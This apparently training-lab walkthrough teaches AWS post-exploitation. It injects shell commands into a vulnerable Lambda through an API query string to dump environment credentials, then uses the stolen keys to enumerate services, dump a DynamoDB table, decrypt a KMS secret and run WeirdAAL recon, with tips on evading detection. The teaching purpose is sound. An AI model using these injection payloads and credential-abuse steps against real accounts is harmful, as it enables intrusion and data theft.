Once we have found some AWS secrets, the easiest way to leverage them is via the aws cli tool.

Configuring Additional Profiles

The AWS CLI supports using multiple profiles, which can be specified to make calls against different accounts, or with the permissions of different users & roles from a single host.

Inspect ~/.aws/credentials to see your existing profile:

Terminal

```
root@ip-10-0-1-215:/shared# cat ~/.aws/credentials
[default]
aws_access_key_id = AKIA52F...
aws_secret_access_key = O3N5Ga...
```

We can retrieve the Lambda execution role credentials by pulling the environment:

Commands

```
root@ip-10-0-1-215:/shared# curl -G "https://a8spqqmetd.execute-api.us-east-1.amazonaws.com/prod" \
-v --data-urlencode "inputstring=aaa; export; echo bbb"
aaa
export AWS_ACCESS_KEY_ID="ASIA44HPE4QSRUSPIVBP"
...
export _X_AMZN_TRACE_ID="Root=1-5b61db17-1e783b2c35b74bcd785bc8b9;Parent=6d348b4c51bba5dd;Sampled=0"
b8694d827c0f13f22ed3bc610c19ec15 -
```

You can create other profiles by adding another profile stanza.

Now that we have an access key, we next need to configure the aws cli to use them. When it asks for your Access Key ID and your Access Key they are inside the Access Key file you downloaded previously.

Terminal

```
root@ip-10-0-1-215:/shared# aws configure --profile vulnlambda
AWS Access Key ID [None]: ASIA...
AWS Secret Access Key [None]: vgw...
Default region name [None]: us-east-1
Default output format [None]: json
```


Your credentials file should now look similar to this:

Terminal

```
root@ip-10-0-1-215:/shared# cat ~/.aws/credentials
[default]
aws_access_key_id = AKIA52F...
aws_secret_access_key = O3N5Ga...

[vulnlambda]
aws_access_key_id = ASIA52F...
aws_secret_access_key = v1Bg83...
```

Temporary credentials can also be entered by specifying the session token. We can then further configure our access via modifying then configuration file to add the "aws_session_token" setting to the "vulnlambda" profile.

Commands

```
vi ~/.aws/credentials
G
o
scroll down under the [vulnlambda] section and create a new field called aws_session_token and assign it to the session token you found
:wq
```

Your aws cli credentials file should now look similar to this:

Terminal

```
root@ip-10-0-1-215:/shared# cat ~/.aws/credentials
[default]
aws_access_key_id = AKIA52F...
aws_secret_access_key = O3N5Ga...

[vulnlambda]
aws_access_key_id = ASIA52F...
aws_secret_access_key = v1Bg83...
aws_session_token = N5bnW...
```

Profiles can be used by using --profile anywhere in the aws cli command.

WhoAmI

Ensure that the credentials are working, and get context on your current user is frequently done via using the following command:

Terminal

```
root@ip-10-0-1-215:/shared# aws sts get-caller-identity --profile vulnlambda
{
"Account": "885264802853",
"Arn": "arn:aws:sts::885264802853:assumed-role/vulnerable_lambda/vulnerable_lambda",
"UserId": "AROAIMBP22ZSYFMM6CYLU:vulnerable_lambda"
}
```


Exercise

The Plan:

```
- Configure the aws cli to use the secret we collected via the vulnerable web application with an additional profile

-- Run "WhoAmI" to collect the Account ID associated with the credentials
```

Surveying

So we can now leverage the secrets via the aws cli to attempt to enumerate additional information from the AWS control plane.

Logging Survey

We can use the following commands to try to collect some more information from the CloudTrail service:

Commands

```
aws cloudtrail describe-trails --region us-east-1
aws cloudtrail describe-trails --region us-east-1 --profile vulnlambda
```

Lambda Survey

The following services are frequently used in-conjunction with Lambda environments:

- S3 Buckets
- Kinesis
- SQS
- DynamoDB
- CloudTrail
- SNS

We can enumerate these services using the following commands:

Commands
aws lambda list-functions --region us-east-1 aws lambda list-functions --region us-east-1 --profile vulnlambda aws s3 ls --region us-east-1 aws s3 ls --region us-east-1 --profile vulnlambda aws kinesis list-streams --region us-east-1 aws kinesis list-streams --region us-east-1 --profile vulnlambda aws sqs list-queues --region us-east-1 aws sqs list-queues --region us-east-1 --profile vulnlambda aws dynamodb list-tables --region us-east-1 aws dynamodb list-tables --region us-east-1 --profile vulnlambda aws sns list-topics --region us-east-1 aws sns list-topics --region us-east-1 --profile vulnlambda

And we can repeat this process for each AWS service we think the secrets may enable us to access, just by reading the aws cli documentation, and trying additional commands.

Note: Code review of lambda functions may also reveal what services are being used.

DynamoDB Dump

DynamoDB is a AWS-managed NoSQL database, similar to mongodb, and is commonly used in AWS-Native applications. Given that the web application has a reference to a DynamoDB table, it is likely that it will have access to the table.

We can leverage the "vulnlambda" profile to dump the table. Since the Lambda function was invoked from the us-east-1 API Gateway endpoint and there's no region specification in the function we can determine that the table is also in us-east-1.

Since DynamoDB is a purely managed service no internal network presence is required to query the table, access to the AWS APIs is sufficient.

Commands
aws dynamodb list-tables --region us-east-1 aws dynamodb list-tables --region us-east-1 --profile vulnlambda aws dynamodb scan --table-name dydb_table --region us-east-1 --profile vulnlambda

Know that the "scan" operation will only retrieve up to 1 MB of table results. As per AWS DynamoDB docs: "There is no practical limit on a table's size.".

In many circumstances you must use the "LastEvaluatedKey" value returned from the initial request to continue pagination through tables that could contain several TB.

KMS Survey

We can use the following commands to try to collect some more information from the KMS service:

Commands
aws kms list-aliases --region us-east-1 aws kms list-aliases --region us-east-1 --profile vulnlambda

If we find a secret encrypted via the KMS service, we can use CyberChef (https://gchq.github.io/CyberChef/) to decode anything which is base64 encoded. We can then "Save to file" the decoded base64 binary data to a file on disk.

Once we have the file on disk, we can decrypt the blob using the KMS service and the AWS CLI using a syntax similar to this:

Commands
aws kms decrypt --profile vulnlambda --ciphertext-blob fileb://~/blob --query Plaintext --output text --region us-east-1

Account Survey

We can use the following commands to try to collect some more information from the IAM service:

Commands

```
aws sts get-caller-identity
aws iam list-groups-for-user --user-name aws_cli_user
aws iam list-group-policies --group-name ...
aws iam list-policies

aws sts get-caller-identity --profile vulnlambda
aws iam list-groups-for-user --user-name vulnerable_lambda --profile vulnlambda
aws iam list-group-policies --group-name ... --profile vulnlambda
aws iam list-policies --profile vulnlambda
```

Most secrets collected through exploitation operations, will not have direct access to IAM out of the gate.

We can also check out information about the current policies available, if we have IAM rights:

Commands

```
aws iam list-policies --scope Local --profile vulnlambda
aws iam list-roles --profile vulnlambda
aws iam get-policy-vesion --policy-arn <policy_arn> --version-id v1 --profile vulnlambda
aws iam get-role-policy --role-name <role_name> --policy-name <policy_name> --profile vulnlambda
```

WeirdAAL (AWS Attack Library)

Alternatively, we can use this an application built to automatically query these services. A newer tool to automate this task is WeirdAAL (AWS Attack Library).

We can use the tool to peak inside of CloudWatch to try to collect some more information about other AWS services which are in use, with the following setup and syntax:

Terminal

```
root@ip-10-0-1-215:/shared# cp ~/.aws/credentials /shared/credentials.env

root@ip-10-0-1-215:/shared# vi /shared/credentials.env
(down arrow)
dd
dd
dd
:wq

root@ip-10-0-1-215:/shared# cat /shared/credentials.env
[default]
aws_access_key_id = ASI...
aws_secret_access_key = vgw...
aws_session_token = FQo...

root@ip-10-0-1-215:/shared# cnoio_weirdaal -m cloudwatch_list_metrics -t vulnlambda
### Printing Cloudwatch List Metrics ###
### Listing Metrics for us-east-1 ###
{ 'Dimensions': [{'Name': 'APIName', 'Value': 'ListActivities'}],
'MetricName': 'ThrottledEvents',
'Namespace': 'AWS/States'}
...
```

We can then attempt to enumerate all services:

Terminal

```
root@ip-10-0-1-215:/shared# cnoio_weirdaal -m recon_all -t vulnlambda
...
#### Trying to list s3 bucketsfor ASIAI32LCHNNUXSAT5KQ ####

cdn.lizardblue.com
cdn2.lizardblue.com
cf-templates-fb0edfbqs0y2-us-east-1
cf-templates-fb0edfbqs0y2-us-east-2
cf-templates-fb0edfbqs0y2-us-west-1
lambdacontent-lizardblue
lizardblue-cloudtrail
lizardblue-training-bucket
soundslike
```

Note: Probably poor OPSEC to recon all services from the get go, as it's probably not normal activity for these credentials. Much better from an OPSEC standpoint to slowly probe services, collect information about other services, and then probe those services you know are in use.

KMS

We can retrieve the KMS encrypted secret by pulling the environment variables:

Commands

```
root@ip-10-0-1-215:/shared# curl -G "https://a8spqqmetd.execute-api.us-east-1.amazonaws.com/prod" \
-v --data-urlencode "inputstring=aaa; export; echo bbb"
aaa
...
export Flag3="AQI..."
...
b8694d827c0f13f22ed3bc610c19ec15 -
```

We then Base64 decode this KMS encrypted value and save it to a file called "blob":

Commands

```
root@ip-10-0-1-215:/shared# echo "AQI..." | base64 -d >> blob
root@ip-10-0-1-215:/shared# file blob
blob: data
```

Once we have the file on disk, we can decrypt the blob using the KMS service and the AWS CLI using a syntax similar to this:

Commands

```
root@ip-10-0-1-215:/shared# aws kms decrypt --profile vulnlambda --ciphertext-blob fileb:///shared/blob --query Plaintext --output text
--region us-east-1
QnV...
```

We can then take this output and base64 decode it to get Flag 3:

Commands

```
root@ip-10-0-1-215:/shared# aws kms decrypt --profile vulnlambda --ciphertext-blob fileb:///shared/blob --query Plaintext --output text
--region us-east-1 | base64 -d
...EncryptedCreds
```

Exercise

The Plan:

- Survey using the secrets previously collected to discover what additional AWS services & data are now accessible.

-- Survey via the AWS CLI

-- Survey via WeirdAAL tool

--- Collect the "money" from the AWS service!

--- Leverage the AWS CLI, KMS, & CyberChef to decrypt Flag #3

References

Check out the following references for more information:

- AWS Command Line Interface Documentation - https://aws.amazon.com/documentation/cli/
- WeirdAAL (AWS Attack Library) - https://github.com/carnal0wnage/weirdAAL
- [aws . dynamodb] scan - AWS Command Line Interface Documentation - https://docs.aws.amazon.com/cli/latest/reference/dynamodb/scan.html